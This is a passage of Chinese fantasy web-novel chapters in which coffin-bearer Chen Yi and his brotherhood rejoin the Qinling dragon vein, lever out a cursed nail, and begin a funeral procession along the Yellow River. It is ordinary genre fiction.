“以我身为棺,纳无尽之怨!”
“以我意为道,送尔入归墟!”
陈义在心中发出无声的
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咆哮。
那被他吸入体内的无尽怨气,没有被消灭,而是在《起灵咒》的引导下,在他的身体里完成了一次诡异的“入殓”!
它们被梳理、被安抚、被剥离了所有伤人的锋芒,最终被压缩、凝聚,化作了一股最纯粹、最原始的“终结”之力。
也就在这一刻,在义字堂八人极限的支撑下,那两段被抬起的**山脉,终于在空中轰然相撞!
轰——!!!!
那声音,无法用任何语言来形容。
仿佛是世界在开裂,又仿佛是世界在愈合。
两段平整光滑的巨大断崖,严丝合缝地对撞在了一起!
就在这合拢的瞬间,陈义猛地将体内那股被“入殓”完成的黑金色“终结”之力,悉数灌入了那道刚刚愈合的巨大伤口之中!
“尘归尘,土归土!”
“山归山,脉归脉!”
“合!”
嗡!
那股由“龙怨”转化而来的力量,没有成为毁灭的**,反而化作了最完美的“黏合剂”!
它本就出自龙脉,与龙脉同根同源。
此刻,它带着“终结”与“安息”的属性,填入了那道两千年的伤疤。
伤口,在这一刻,被这股力量彻底“缝合”!
一种圆融、完整、生机勃勃的气息,从秦岭的脊梁上,轰然爆发!
断裂的祖脉,在时隔两千年之后,被一群抬棺匠,以一种最不可思议、最蛮横霸道的方式,强行接续!
天空中,那八位异域神祇看得目瞪口呆,集体失声。
他们参与了一场神话级的战斗,但最终,真正解决问题的,却是一场他们完全看不懂的“葬礼”。
“社区义务劳动结束,各位,可以下班了。”
陈义的声音传来,透着一股极度的虚弱。
他挥了挥手,那本诡异的账本上,八位神祇的名字后面,被划上了一个小小的“优”字。
下一秒,八道不情不愿的身影,便被契约的力量强行遣返,消失在扭曲的空间中。
高天之上,重归寂静。
而下方,那撑天拄地的无形巨人,也终于耗尽了最后一丝力气,轰然消散。
噗通!
噗通!噗通!
胖三、大牛、猴子……义字堂七个兄弟,再也支撑不住,如同被抽掉了骨头的麻袋,齐齐软倒在地,瞬间昏死过去。
他们的身体干瘪了一圈,皮肤上布满了恐怖的裂纹,生命气息微弱到了极点。
唯有陈义,还站在那片狼藉的中央。
他看着重新连为一体,在晨光下蜿蜒起伏的巍峨秦岭,脸上没有什么喜悦。
他只是抬起手,擦了擦从嘴角溢出的,那一道黑金色的血迹。
然后,他双腿一软,单膝跪倒在地,剧烈地喘息起来。
泰山,成了。
但代价,远比想象中更加惨重。
第164章 拔钉!老子让你看看什么叫专业!
那头由龙脉怨气所化的怪物,在彻底崩解的瞬间,化作了亿万道吞噬光明的黑色暴雨。
这不是物理攻击,而是最精纯、最恶毒的规则层面的诅咒洪流。
它无视了八位异域神祇的法则拦截,径直朝着下方正在全力“抬山”,如同活靶子一般的义字堂八人覆盖而来!
首当其冲的,正是作为阵法核心“杠头”的陈义!
“爷!”
胖三等人目眦欲裂,却被抬山的无上伟力死死钉在原地,动弹不得。
然而,陈义的脸上,没有丝毫恐惧。
他甚至连眼皮都没抬一下。
在那场足以污染神魂、让天地同悲的黑色暴雨即将临头的刹那,他开口了。
声音不高,却仿佛是刻在世界底层的律令。
“山已归位。”
“——开席。”
话音落下的瞬间,义字堂八人脚下的“八仙抬棺阵”陡然逆转!
原本向外撑起山脉的无形之力,骤然向内收缩,化作一个深不见底的幽暗旋涡。
那亿万道怨毒诅咒,如同找到了宣泄口的洪水,被那旋涡疯狂地、贪婪地尽数吞噬!
没有惊天动地的**,只有令人牙酸的研磨声。
仿佛有一副无形的石磨,正在将那些怨毒碾成最原始的粒子。
而这副石磨的模心,正是陈义!
他承受了九成九的冲击!
“噗——”
一口黑金色的血液从陈义口中喷出,洒在身前的土地上,竟将岩石都腐蚀得滋滋作响。
他的皮肤之下,一道道黑金色的纹路如同活过来的毒蛇,疯狂游走,那是未能被瞬间磨灭的龙怨残渣,已经侵入了他的本源。
但他依旧站得笔直。
他抬眼,看着那两段绵延千里的巨大山脉,在空中划过宏伟的弧线,带着足以碾碎星辰的威势,轰然合拢!
轰隆——!!!
整个神州大地,都为之剧震。
仿佛一声阔别了千年的心跳,重新响起。
成了。
秦岭龙脉,被他硬生生接上了!
“咳……咳咳……”
胖三第一个瘫倒在地,感觉身体像是被抽干了每一丝力气,连灵魂都在打颤。
他艰难地转头,看到猴子、老七、大牛……兄弟们个个横七竖八,面色惨白,身体表面布满干涸的金色裂纹,那是阳髓过度燃烧后留下的烙印。
“爷……”胖三声音沙哑,他看见陈义依旧站在那道巨大的“接缝”前,背影佝偻了一瞬,但立刻又挺得笔直。
“死不了。”
陈义的声音很虚弱,却异常平稳。
他从怀里摸出瓷瓶,屈指一弹,几粒丹药精准地落入每个兄弟口中,吊住了他们即将熄灭的生命之火。
做完这一切,陈义的眉头,却缓缓皱起。
不对劲。
他抬起手,虚按在面前崭新的山壁上。
入手处,是磅礴的生命气息,如同初生的婴儿。
可在这股生机的最深处,他却敏锐地捕捉到了一丝极不协调的、针扎般的“死意”。
就好像,他刚刚完成了一台完美的断肢再植手术,血管、神经、骨骼都严丝合缝。
可病人的身体里,却留下了一根生锈的手术针。
这根针,现在微不足道,但迟早会引发溃烂与败血,让之前所有的努力,都化为一场空。
“张金城。”陈义唤道。
“八……八爷,我在!”张金城一个激灵,连滚带爬地跑了过来,看陈义的眼神,像是在看一尊行走于人间的灾厄与奇迹本身。
“你的分金盘,再起一次。”
张金城不敢怠慢,连忙取出那布满裂纹的七巧分金盘。
法盘指针疯狂跳动,最终,没有指向任何方位,而是以一种令人头皮发麻的姿态,直挺挺地……指向了下方!
指向了他们脚下,这片刚刚愈合的大地!
“悬……悬针破脉!”张金城脸色瞬间惨白,声音都在发抖,“八爷,斩断秦岭那人,手段太毒了!他在斩断龙脉的瞬间,以天地为炉,用无上咒术,在龙脉伤口深处,打入了一根看不见的‘镇龙钉’!”
“这根钉子,是‘规则’层面的诅咒!它的作用,就是让龙脉的伤口永世无法愈合!我们强行接续龙脉,等于把这根‘镇龙钉’给死死地包在了新生的龙骨里!它正在由内而外地腐蚀整条祖脉!”
“用不了多久,秦岭就会变成一条绵延千里的‘尸脉’!到时候,整个神州的地气,都会被这条巨大的尸龙污染!”
刚刚缓过一口气的众人,心又一次沉入谷底。<
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br>搞了半天,白忙活了?还让情况更糟了?
“钉子……”
陈义咀嚼着这个词,眼神变得异常危险。
“既然是钉子,那就能**。”
“拔?”张金城苦笑,“八爷,这可是规则层面的东西,看不见,摸不着,怎么拔?”
“你们摸金校尉,不是最擅长‘分金定穴’吗?”陈义盯着他,“代码再虚无,也得有个运行的‘服务器’。这根‘镇龙钉’,它在这片天地间,必然有一个实体的‘锚点’。我要你,把它给我找出来。”
张金城浑身一震,他明白了陈义的意思。
这是要他用摸金校尉的寻龙之术,去给一个形而上的诅咒“定位”!
这是在向天地法则动刀子!
“我……我尽力!”
张金城咬碎牙,盘膝坐下,逼出自己的三缕本命神魂,尽数投入分金盘中。
嗡!
分金盘光芒大放,化作一片流光溢彩的立体沙盘。
在沙盘中央,秦岭龙脉的光影脊椎处,一个微不可察的黑点,正散发着腐朽的气息。
一根细如牛毛的黑色丝线,从黑点延伸而出,穿透层层地气,最终,连接到沙盘边缘,一座不起眼的山峰上。
那座山峰上,只有一棵已经枯死多年的古树。
“找到了!”张金城猛喷一口逆血,萎靡倒地,脸上却带着狂喜,“锚点!在‘枯荣峰’!那棵千年不倒的‘镇龙木’,就是钉头!”
所有人的目光,齐刷刷地望向远处那座笼罩在薄雾中的山峰。
“很好。”
陈义的嘴角,勾起一抹冰冷的弧度。
“既然找到了钉头,那接下来就简单了。”
他转过身,看着身后那七个强撑着站起来,眼神重新变得锐利的兄弟。
“都歇够了没有?”
“爷,您吩咐。”大牛瓮声瓮气地说道,声音里没有一丝犹豫。
陈义的目光,扫过他们,最后落在了那几根在“抬山”伟业中幸存下来,静静躺在地上的乌木杠木上。
“咱们抬棺匠,除了会抬,会送,还会一样。”
他的声音,掷地有声。
“那就是——”
“撬!”
“义字堂听令,带上家伙,跟我去——”
“拔钉!”
第165章 撬了这根天柱,再跟老天爷收租!
枯荣峰。
名字本身,就是一句最恶毒的诅咒。
整座山峰闻不到一丝风声,看不到一片绿色,仿佛“生命”这个概念,从未在此地诞生过。
山石是死灰色的,泥土是焦炭状的。
义字堂一行人扛着乌木杠木,行走其上,每一步都感觉自己的体温正在被脚下的土地抽走。
这不是物理层面的寒冷。
而是一种更本质的剥夺,是“活物”踏入“死域”时,规则层面的排斥。
胖三一张脸憋得发紫,他感觉自己赖以为生的精明和算计,正随着生命力一同流逝,脑子里的算盘珠子锈住了,连动弹一下都无比艰难。
猴子和老七是队伍里身手最轻盈的,此刻却觉得四肢挂满了看不见的秤砣,每一次抬腿,骨骼都在发出不堪重负的呻吟。
就连阳气最盛、体魄堪比凶兽的大牛,也觉得血液的流速正在变慢,心脏的跳动沉重而迟缓。
“爷……这鬼地方,不是人待的。”
胖三呼出的一口白气,竟在半空中凝结成灰白色的冰晶,迟迟不散。
“我感觉……我的魂儿都快被冻硬了。”
“这是‘镇龙钉’的戒域。”
队伍末尾,被两个摸金校尉架着的张金城,声音虚弱得仿佛随时会断掉。
“它在拒绝一切活物。我们的生机越强,它对我们的压制就越恐怖。”
他一边说,一边用尽力气抬起头,望向走在最前方的那个背影。
陈义。
他的步伐没有丝毫变化,沉稳,有力。
那股能让万物凋零的死意,冲刷在他身上,却像是溪流撞上了万古不移的堤坝,连一丝涟漪都无法激起。
在那场惊天动地的“抬山”之役中,陈义以身为棺,承载了秦岭龙脉积压千年的怨毒与死气。
他的身体,早已被最高等级的“死亡”淬炼过。
这镇龙钉散发的死意,对他而言,非但不构成威胁,反而有种异样的亲切感。
“都跟紧。”
陈义的声音不大,却清晰地钻进每个兄弟的耳朵里。
“把这当成一次出殡。”
“只不过,这次的灵堂,冷清了点。”
这话一出,原本萎靡不振的义字堂众人,精神猛地一振。
对啊!
他们是干什么的?
抬棺匠!是天天和**、阴气、煞气打交道的专业人士!
怕个鸟的死气!
一股子属于抬棺匠“百无禁忌”的悍勇之气从心底升腾而起,众人原本沉重的脚步,瞬间轻快了三分。
胖三眼珠一转,计上心来。
他从鼓鼓囊囊的兜里摸出一大沓崭新的冥币,也不数,一边走一边天女散花似的往天上撒。
嘴里还念念有词,声调油滑。
“各位看不见的大哥大姐,行个方便,行个方便嘿!”
“小弟初来乍到,一点小意思,不成敬意,就当是买路钱了!”
诡异的一幕发生了。
随着那些印刷精美的冥币飘飘扬扬地落下,周围那股几乎凝成实质的死气,竟真的被冲淡了一丝。
张金城看得眼珠子都快掉出来了。
他立刻明白,这不是冥币真有什么法力。
而是胖三身上那种俗不可耐、深入骨髓的贪财之气,本身就是一种最鲜活、最旺盛的“人间烟火”!
是活人对财富最原始的欲望!
这种欲望,与镇龙钉那种纯粹、冰冷、形而上的“绝对死亡”,形成了最直接的规则对冲!
就这么一路走,一路撒钱,众人终于登上了枯荣峰的峰顶。
峰顶的正中央,一棵巨大到无法形容的枯树,静静地矗立在那里。
它已经死去了不知多少岁月,干裂的树皮呈现出金属般的乌黑色泽,虬结的枝干指向天空,仿佛一只不甘的鬼爪。
明明是一棵死树,却散发着一股**天地的恐怖气势。
它的根系,与整座秦岭的地脉死死纠缠在一起。
这,就是“镇龙木”,也是那根“镇龙钉”露在地表的钉头!
“就是它了。”
张金城指着那棵古树,脸上血色尽褪。
“八爷,我要开始了!摸金门的‘斩龙诀’,能暂时切断它和钉子本体的规则链接,时间……不会超过十息!”
“你们,必须在这十息之内,把它从地里撬出来!”
“十息?”胖三失声叫道,“开玩笑吧!这玩意儿看着比**青铜巨棺还沉!十息?”
“够了。”
陈义的回答,只有两个字。
张金城不再废话,将那面布满裂纹的分金盘郑重地放在树前,取出三支颜色各异的令旗,插在三个方位。
最后,他猛地咬破指尖,以精血在空中画出一道无比繁复的符箓。
“摸金门三百七十二代弟子张金城,恭请祖师爷上身!”
“借我神眼,断此孽根!”
“斩!”
他一指重重点在分金盘的中央,血色符箓发出一声尖啸,瞬间没入镇龙木的树干!
嗡——
整座枯荣峰,乃至整条秦岭山脉,都为此剧烈一震!
一股无形的、撕裂神魂的嘶鸣,从地脉深处轰然传来!
就是现在!
“义字堂,归位!”
陈义一声暴喝。
八道身影,动了!
他们没有结成“抬棺阵”,而是分列镇龙木两侧,四人一组,将那几根坚逾精钢的乌木杠木,以一个刁钻到极致的角度,狠狠楔入了镇龙木盘根错节的根系之下!
杠木入土,纹丝不动!
“搭肩!”
八人动作整齐划一,肩膀死死抵住杠木末端。
他们的姿态,不是向上“抬”。
而是向下“压”!
这是一个最标准、最原始的杠杆撬动姿势!
以大地为支点,以乌木为杠杆,他们要撬动的,是这棵与神州祖脉融为一体的千年尸木!
“张金城说,这根钉子,是规则。”
陈义的声音,在每个兄弟的耳边炸响。
“但今天,我说了才算规矩!”
“我身为炎黄执绋人,脚踏社稷之地,手掌人皇权柄!”
“这片土地,是我的产业!这棵树,是扎在我家院子里的烂钉子!”
“今天,我就要把它,从我的地里,给我——”
“起——出——来!”
陈义双臂肌肉坟起,猛然发力下压!
他眉心的【人皇印】与【社稷鳞】同时爆发出万丈光芒,但所有力量没有外放,而是被他悉数灌入脚下的大地!
他在向这片土地颁布敕令:此物,为
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外来之物,与你无关,立刻,马上,将它驱逐!
轰!
大地,以剧烈的震颤回应了他的意志!
义字堂其余七人,也将自己体内残存的每一丝力气,毫无保留地顺着乌木杠木,狠狠灌了进去!
“一!”
“二!”
“三!”
“起!”
八人齐声怒吼,动作合一,将杠杆的原理,发挥到了神话的领域!
咔——嚓——!!!
一声无法形容的巨响,并非来自树干,而是从地底最深处传来!
那是某种亘古长存的规则,被强行崩断的声音!
在所有人震撼的目光中,那棵仿佛与山峰长在一起的巨大镇龙木,连同它深入地底不知几许的庞大根系,竟然真的被这股蛮横无匹的力量,一寸,一寸地,从坚硬的岩石中,硬生生地撬了出来!
随着树根离土,一股股浓黑的、散发着终结与腐朽气息的雾气,从地底的坑洞中疯狂涌出。
雾气在空中凝聚,化作一根若有若无、长达百丈的巨钉虚影。
这,才是“镇龙钉”的本体!
它发出一声不甘的尖啸,似乎还想重新钻回地底。
“想走?”陈义嘴角勾起一抹冷酷的弧度,“胖三!”
“得嘞!”
胖三心领神会,从怀里掏出那只专门收尸的百年柳木迎宾棺,对着那钉子虚影,用尽全身力气吼道:
“开棺——迎客!”
棺盖应声而开!
一股至阳至刚的恐怖吸力,如长鲸吸水,瞬间锁定了那枚钉子虚影。
钉子虚影疯狂挣扎,却无法抵挡这专门克制一切阴邪之物的殡葬法器。
它被一点一点地拖向棺口,最终,在一声凄厉至极的哀鸣中,被彻底吸入了棺材之内。
砰!
棺盖重重合上,猴子和老七早已准备好的七八道封印符箓,瞬间贴满棺身。
随着镇龙钉被彻底收服,整座枯荣峰,乃至整条秦岭,都仿佛卸下了一个沉重了千年的枷锁。
一股肉眼可见的、浓郁到化不开的青绿色生机,从那被拔出钉子的坑洞中喷涌而出。
生机如一场甘霖,瞬间席卷了整条山脉。
枯败的山石上,长出了青苔。
焦黑的泥土里,冒出了嫩芽。
死寂的空气中,传来了鸟语和风吟。
断裂了千年,又刚刚被强行接上的秦岭祖脉,在这一刻,才算是真正地、彻底地……活了过来。
噗通。
陈义再也支撑不住,一屁股坐在了地上。
他身后的七个兄弟,也纷纷丢开杠木,东倒西歪地躺了一片。
每个人都累得像条死狗,脸上却都挂着发自内心的、酣畅淋漓的笑容。
胖三看着那口封印了镇龙钉的迎宾棺,又看了看生机盎然的秦岭,搓了搓手,凑到陈义身边,压低了声音,一脸谄媚。
“爷,这……这口棺材,还有这满山的生机……按照咱们义字堂的规矩,是不是也该算算账?”
“那叫‘施工废料’和‘工程款’。”
陈义靠在一块石头上,闭着眼睛,有气无力地说道。
“记上账。”
“这次的甲方,是这片天。”
“等咱们缓过劲来,我带你们,去跟老天爷……收租。”
第166章 为黄河送葬,抬龙脉还阳!
秦岭火了。
风声不再是死寂的呜咽,带着草木清香,在山谷间欢快地奔跑。
脚下的土地有了温度,有了弹性,踩上去甚至能感到一股温润的生机正顺着脚底往上窜。
大牛他们横七竖八地躺在地上,胸膛剧烈起伏,如同搁浅的巨鲸,贪婪地呼吸着这股由他们亲手挣来的新生气息。
每一个毛孔都在舒张,每一寸筋骨都在欢鸣。
这是胜利的滋味。
陈义靠在一块被阳光晒得温热的山石上,脸上最后一丝血色也已褪尽,眼皮沉重得像是挂了铅。
以身为棺,硬吞千年怨毒。
再以身为杠,撬动镇龙天柱。
他的身体被彻底掏空,又被一种更高层次的、源自山河本源的磅礴生机重新填满。
“爷,咱……咱这算是……收工了?”
胖三是第一个缓过劲来的,他挣扎着爬起来,一双小眼睛里贼光闪烁,绕着那口封印了“镇龙钉”的百年柳木迎宾棺,口水都快流出来了。
这口棺材静静躺着,平平无奇。
但胖三能感觉到,内里蕴含着一种怎样恐怖的“负资产”。
那是一个能把所有靠近它的生灵都拉进万劫不复深渊的债务黑洞。
“嗯,”陈义眼皮都没抬,“收工。”
“得嘞!”胖三搓着手,笑得满脸褶子,“那……爷,这‘高危施工废料’,您看账本上该怎么记?这可是天字号的凶物,放出去能让一个皇朝**的级别!咱们这属于逆天改命,收费标准不得往上浮个百八十倍?”
“记什么账。”
陈义终于睁开眼,淡漠地瞥了他一眼。
“这不是废料。”
“是欠条。”
胖三一愣。
“有人在我家院子里钉了根钉子,现在我把它拔了,钉子我没收了。”
陈义的话云淡风轻,却让周围的空气骤然冷了三分。
“这笔账,还没算完。”
胖三瞬间懂了!
这哪是施工废料,这是人证物证俱全,随时可以上门讨债的凭据!
他顿时眉开眼笑,掏出小本本,笔走龙蛇地写下:“暂扣‘天谴级’烂钉子一根,待估价,甲方:老天爷。”
就在这时,被两个摸金校尉搀扶着的张金城走了过来。
他脸色惨白,一身精血几乎耗尽,但眼神却前所未有的明亮。
他没有看那口棺材,也没有看周围重获生机的山脉,只是死死地盯着陈义。
“陈八爷。”
他拱了拱手,声音沙哑,却带着一种发自肺腑的敬畏。
那是一种手艺人,在见识了足以开宗立派、甚至碾压祖师爷的神技后,最纯粹的叹服。
“我摸金一门,寻龙点穴,讲的是‘顺势而为’。”
张金城苦笑一声,指了指那口迎宾棺:“但这‘镇龙钉’,不是病,是刑!是上古大能对这条龙脉施加的酷刑!我们摸金门的手段,在它面前,连给它挠痒痒都不配。”
他看着陈义,一字一句,字字铿锵。
“我做梦都想不到,这世上,竟有人能用‘撬’的方式,把它……硬生生从神州祖脉的骨头里给**。”
“您这不是在治病。”
张金城摇着头,眼神里是混杂着惊恐与狂热的复杂情绪。
“您这是在改命!”
陈义没有接话,只是从兜里摸出那面古朴的病历铜镜。
镜面光滑如水,秦岭的病灶确实消失了,那片枯寂的黑色,已化作一片浓郁欲滴的青绿。
可他还没来得及松口气,眉头却瞬间拧成了一个疙瘩。
镜面之上,另一片更广阔的、象征着神州北方的区域,猛地浮现出一种令人窒息的、浑浊的土黄色!
一条本该奔腾不息的金色龙脉,在这片土黄色中艰难穿行,光芒黯淡,流速迟滞,仿佛被无数看不见的淤泥扼住了喉咙。
紧接着,镜面中央,不再是文字浮现。
而是一幅画面,一幅让陈义瞳孔猛然收缩的画面!
那是一条浑浊的大河,河水不再流动,而是像凝固的尸血。
河道之上,漂浮着一口巨大无比、由万古怨念和泥沙凝聚而成的“悬棺”!
而那条金色的龙脉,就被这口悬棺死死**着,吊在半空,不上不下,不生不死!
【九曲断魂,龙脉悬棺。】
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八个血色大字,从画面中渗透出来,烙印在铜镜之上。
“悬……悬棺……”
刚刚还一脸敬佩的张金城,看到那画面的瞬间,脸色“唰”地一下变得惨无人色,比刚才耗尽精血时还要难看。
他身体剧烈一晃,双腿发软,直接栽倒在地。
“是……是那个传说!?”他嘴唇哆嗦着,牙齿都在疯狂打颤,“黄河悬棺……龙脉为祭!”
“什么传说?”胖三察觉到不对劲,心头一紧。
“摸金祖师爷手札里一个最疯狂的猜想……”
张金城没有回答,只是死死地盯着铜镜,眼神里流露出比面对镇龙钉时更深沉百倍的恐惧。
“他说……黄河,不是河。”
“是一口还未入土的棺材!”
陈义缓缓将铜镜收起,站起身,拍了拍身上的尘土。
他的动作很慢,但每一下,都像是拍在了众人的心跳上。
“黄河。”
他吐出两个字。
张金城猛地抬起头,满眼绝望。
陈义的目光平静地扫过在场的每一个人,扫过他那些累得快要散架的兄弟们。
“张金城,你摸金的规矩是顺势而为。”
“我抬棺匠的规矩,是送葬入土。”
他顿了顿,声音不大,却清晰地传遍了整座山峰。
“神州大地是咱的家,黄河是咱家的母亲河。”
“现在,她病了,病得很重,自己走不动了。”
“我本想跟老天爷收一笔工程款,现在看来,这笔钱,得先替他垫上了。”
他看向遥远的北方,那是黄河奔流的方向。
“胖三。”
“准备家伙。”
“咱们这次,不撬钉子了。”
陈义的语气平静得可怕,却蕴藏着一股让天地为之失声的疯狂与霸道。
“咱们去黄河。”
“给她老人家……办一场贯穿九省的大丧。”
“我说的。”
他伸出两根手指,轻轻抹过眼角,仿佛要抹去不存在的泪水,嘴角却勾起一抹冷峻的弧度。
“送完这一程……”
“我再亲手把她从阴曹地府,给抬回来!”
第167章 奠仪千斤,你敢收吗?!
黄河古道,风陵渡口。
河水是死的。
一种不祥的铅灰色,沉重得像融化的铅块,连一丝波纹都懒得泛起。
空气里没有水汽的清新,只有一股烂泥混着陈年腐肉的腥臭,钻进鼻腔,黏在喉咙里,让人作呕。
义字堂一行人刚下车,就被这股死气冲得眉头紧锁。
秦岭一役的血战疲惫还未完全消退,但每个人的筋骨血肉里,都已淬入了一股火山般的悍勇。
他们站在一起,就是一方生人勿近的凶煞之地。
可在这风陵渡口,他们身上那股能镇百邪的阳刚气血,竟被压得有些沉闷。
“爷,家伙事儿都备齐了。”
胖三拉开货车后厢,里面没有摸金校尉的任何行头,而是一排排巴-巴掌大的泥胎小船,足足九十九艘,船头都用朱砂点了一只猩红的眼。
旁边,是九块磨盘大小、光滑如镜的泰山石。
随行的张金城脸色惨白,捧着一张兽皮古图,手指在图上一个红点上颤抖。
“陈八爷,就是这儿,‘九曲断魂’的第一煞眼——**渡。”
他抬头望着眼前死寂的河面,声音里透着一股发自骨子里的寒意。
“祖师手札记载,此地河道能勾人魂魄,船家入内,三魂七魄便会被扯走一魄,从此痴傻疯癫。此为‘断魂’之始,它不是实体,是一种规则,硬闯无用。”
猴子往地上啐了一口,手已经摸向了腰间的缚龙索。
“规矩?”
陈义的嘴角,勾起一抹冷淡的弧度。
他走到河边,从胖三手里接过一艘泥胎小船,随手放入河中。
那土捏的小船遇水不化,稳稳漂浮,船头那点朱砂红眼,在铅灰色的水面上,亮起一豆微弱却执拗的暖光。
“此地,我义字堂接管了。”
陈义的声音平静,却像一根烧红的钢针,狠狠刺入了这片死寂的水域。
“凡过往者,皆为渡客。”
他目光扫过河面,语气陡然转寒,颁布了第一条铁律。
“活人登岸,死魂入河!”
话音刚落,平滑如镜的河面,炸了!
一股浓得化不开的白色大雾,不是飘来,而是从河心猛地爆开,瞬间吞噬了方圆百米!
伸手不见五指!
方向感被活生生剥离,声音像是被吸进了一块巨大的海绵里,听不真切。
“爷!”胖三的惊叫变了调。
大牛发出一声压抑的低吼,他感觉有无数冰冷滑腻的手,正顺着他的脚踝疯狂向上攀爬!
猴子和老七瞬间背靠背,摆出防御姿态,但他们引以为傲的感知,此刻却是一片空白,仿佛坠入了无尽虚空。
“装神弄鬼。”
陈义冷哼一声,对这足以让任何高人迷失心智的诡雾视若无睹。
他甚至没回头,只对身后已经快要站不稳的胖三下令。
“开市!”
“还愣着干什么?撒钱!”
“得嘞!”
这两个字仿佛是胖三的还魂丹,他一瞬间从惊恐中挣脱,脸上浮现出一种病态的、属于顶级奸商的狂热。
他抓起一大沓印着繁复水纹的特制冥币,朝天一扬,用一种混杂着贪婪与虔诚的独特调子,高声唱喏:
“一敬天地,二敬黄河!”
“我义字堂今日在此,开门做生意!”
“南来北往的孤魂,东去西来的野鬼,船票开售,先到先得!”
“买了票的,送你一程,安稳上路!不买票的,就烂在河里,永世不得超生!”
他点燃成捆的冥币,一把把扔进河里。
绿色的鬼火在水面燃烧,没有熄灭,反而汇成一条火线,朝着河心那片最浓的雾气烧了过去!
那些攀爬在大牛腿上的“手”瞬间消失,只是几缕湿漉漉的水草。
被剥离的五感,重新回到了猴子和老七身上。
张金城的眼珠子几乎要从眼眶里掉出来。
他懂了!
陈义根本没想过去破解“**”的规则!
他是在用一个更古老、更霸道、更不讲理的规矩——“商业”,来强行覆盖它!
做生意,明码标价,童叟无欺!
在这
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套赤裸裸的资本法则面前,什么“**阵”、“勾魂术”,都成了上不得台面的江湖骗术!
“还不够。”
陈义盯着河心,那里的绿火汇聚成一个漩涡,中心是一片深不见底的漆黑,正在疯狂吞噬那些“船票”。
“胖三,告诉它们,光有船票,可上不了我义字堂的贵宾席。”
胖三秒懂,清了清嗓子,换上了一副哭坟奔丧的腔调,对着河心干嚎起来:
“哎哟喂!我的亲娘祖奶奶哎!你们这些屈死的鬼,冤死的魂儿!在水里泡烂了骨头,就指望这点纸钱投个好胎?做**春秋大梦!”
“我们八爷心善,见不得你们永世沉沦!特意给你们备下了头等舱的奠仪!”
他一边嚎,一边指挥大牛,将第一块千斤重的泰山石敢当,用尽全力推到了河边!
陈义走上前,伸出手指,指尖阳气流转,在光滑如镜的石面上,龙飞凤凤舞地刻下两个大字:
奠仪。
他看着河心的漆黑漩涡,如同在看一个不自量力的竞价者。
“九十九艘渡船,九块奠仪。”
“这,是第一块。”
“算我义字堂,给此地煞眼,送上的开业大礼。”
说完,他右脚抬起,看似轻描淡写地一脚踹在那千斤巨石之上。
巨石入水,无声无息。
没有浪花,没有声响,仿佛被另一个空间吞噬。
就在巨石消失的刹那,河心那个疯狂旋转的黑色旋涡,猛地一僵!
紧接着,一道来自九幽之下的、撕裂神魂的尖啸,从河底轰然炸响!充满了无尽的痛苦与不甘!
河面上所有的鬼火,瞬间熄灭。
那铅灰色的河水,颜色肉眼可见地淡了一层。
“第一个渡口,码头拜过了。”
陈义收回脚,像是掸去了一粒微不足道的灰尘。
他转身,看向身后满脸震撼的众人,以及远方蜿蜒曲折、仿佛没有尽头的黄河古道。
“走吧。”
他的声音里,带着一丝冰冷的期待。
“还有八个。”
第168章 我抬的不是棺,是黄河龙魂!
这是一场沉默而漫长的出殡。
队伍沿着黄河古道一路东行,从风陵渡到三门峡,再到洛阳古渡。
他们走过霓虹闪烁的都市,也穿行于星月无光的戈壁。
每到一处被张金城用命标记出的“煞眼”,队伍便会停下。
第二处煞眼,藏在一座大都市金融中心地下车库的负四层。
煞气被钢筋水泥和鼎盛人烟死死压住,扭曲成一种侵蚀人心的“利欲之煞”。
踏入这里的人,眼底会不自觉地烧起贪婪的火,呼吸都带着铜臭,为了一点擦碰就能歇斯底里地咒骂。
陈义一行人换上管道工的衣服,在午夜的寂静中,只用一把金瓜锤。
在张金城定出的方位,撬开水泥地,埋下了一艘巴掌大的泥胎小船。
陈义没在船上写“奠仪”,只写了两个字。
“散财”。
规矩已定,那股无形的利欲之煞找到了宣泄口,尖啸着被泥船尽数吞噬,化为乌有。
第三处煞眼,在一片白花花的盐碱地。
古时决堤口,数万军民溺亡于此,怨气凝成“兵戈之煞”。
踏入者,耳边会响起金铁交鸣,心中只剩杀戮一念。
这一次,胖三没哭丧,而是摆开香案,宣读祭文。
祭文不是安抚,而是痛斥。
斥他们身为军人,不思保家卫国,死后却盘踞乡里,为祸一方!
陈义则引动人皇印,一道法旨颁下,敕令他们卸甲归田,魂归故里。
盐碱地上空,响起一片甲胄碰撞的铿锵之声,兵煞轰然散去。
……
一路走来,义字堂八人愈发沉默。
他们见证了太多沉沦与腐朽。
九处煞眼,是钉在黄河龙脉上的九根毒钉,每一根都牵着一段血泪史,缠着无尽怨念。
他们每拔除一根,自身的气息就与这条古老的河流多了一分交融。
也多了一分,无法言说的沉重。
终于,最后一站。
陕西,壶口。
轰鸣声先于景象抵达,震得人胸腔发麻。
黄河之水到此,被两岸苍山死死束缚,骤然收缩,从几十米的河道,一头栽进深邃的石槽。
眼前的景象,却和“壮观”二字,没有半分关系。
河水不是黄色。
那是一种浓稠的、凝固了的暗褐色,散发着陈年棺木腐朽的气味。
雷鸣般的水声,也不是自然的咆哮。
那是一头巨兽被困在囚笼中,发出的、持续了千百年的绝望哀嚎。
刺骨的寒意从瀑布下方笔直升起,隔着百米,就冻得人魂魄发颤。
“第九煞眼,‘棺头锁龙’。”
张金城的声音气若游丝,他靠在弟子身上,嘴唇惨白,眼神涣散。
“龙门……这里就是龙门……也是整具‘龙脉悬棺’的棺材头。”
“所有煞气,最终都会汇聚于此,力量是前八处总和的十倍不止。”
他绝望地看着那道连接天地的暗褐色水幕,眼里的光彻底熄灭。
“完了……这里没有‘眼’,整个瀑布就是煞眼本身!任何法器,任何规矩,在这种狂暴的天地威力面前,都会被瞬间撕碎!”
胖三等人脸色惨白如纸。
他们能感觉到,那瀑布中蕴含的力量,足以将他们的灵魂碾成齑粉。
之前的所有手段,在这里,显得可笑又无力。
陈义没有说话。
他只是站在悬崖边,一动不动,盯着那道咆哮的瀑布。
风卷起他的衣角,将他清瘦的脸,勾勒出岩石般的轮廓。
他就这么站着。
从日上三竿,站到夕阳沉落,再站到星斗满天。
一天,一夜。
兄弟们没出声打扰,只是默默围在他身后,用身体组成一道人墙,为他挡住刺骨的寒风。
他们不知道陈义在看什么。
但他们信他。
这份信任,早已融入骨血。
当第二天黎明的微光,撕开地平线的黑暗,照亮那道依旧在疯狂咆哮的暗褐色瀑布时,陈义,终于动了。
他转过身。
布满血丝的眼睛里,没有疲惫,没有畏惧,只有一种近乎疯狂的、燃烧着的光。
“我听见了。”他对众人说。
“什么?”胖三下意识问。
“我听见它在哭。”
陈义的目光再次投向瀑布,声音沙哑却坚定。
